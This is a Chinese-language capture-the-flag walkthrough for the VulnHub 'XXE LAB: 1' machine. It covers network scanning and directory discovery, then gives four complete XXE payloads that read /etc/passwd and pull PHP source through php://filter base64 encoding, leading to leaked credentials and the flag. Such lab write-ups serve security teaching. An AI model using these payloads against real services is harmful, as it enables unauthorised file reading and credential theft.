vulnhub靶场,XXE LAB: 1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/xxe-lab-1,254/
攻击机:kali(192.168.109.128)
靶机:XXE LAB: 1(192.168.109.195)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:通过各种手段找到flag
信息收集
使用arp-scan-l确定目标靶机IP
确定目标靶机IP为192.168.109.195
使用nmap扫描查看目标靶机开放端口
开放端口:80、5355
浏览器访问目标靶机80端口
就是apache的默认页面,并没有什么
目录扫描
发现robots.txt
页面,进行访问
发现一个xxe
和一个admin.php
页面,分别进行访问
xxe
页面
admin.php
页面
说找不到,可能admin.php
页面并不在根目录下面
对xxe
页面的下一级目录进行扫描
可以看到admin.php
页面其实是在xxe
页面下的,那破局点应该就是xxe
这个页面了
渗透过程
对xxe
这个登入界面暴力破解和SQL注入均无效,抓包看一下他的传输方式
可以看到账号密码是以xml的格式进行传输的,猜测这里可能存在xxe漏洞
使用burpsuite进行抓包,构造payload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>
可以看到确实存在xxe漏洞,构造伪协议获取admin.php源代码,使用Base64编码防止php代码被执行
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>
将结果base64解码一下
可以看到账号密码直接显示在了源码中,并且下面还提示flag在flagmeout.php
文件中
密码是加密的,先解密一波
使用administhebest:admin@123
尝试进行登入
还是显示登入失败,那就先不管他了,使用xxe漏洞查看flagmeout.php
文件的源码
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
将结果进行base64解码
这里面看着应该是base32的加密方式,使用base32进行解码
解码的结果又是base64加密,在进行一次base64解密
说明flag在/ect/.flag.php
文件里面,继续使用xxe漏洞查看其源码
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>
结果使用base64进行解密
得到一串不知道是什么的加密密文
前面发现所有文件都是php类型的,这里直接将他保存为php类型的文件在自己的wamp环境运行一下看看
本地访问http://127.0.0.1/flag.php
可以看到flag就在里面,靶机XXE LAB: 1渗透结束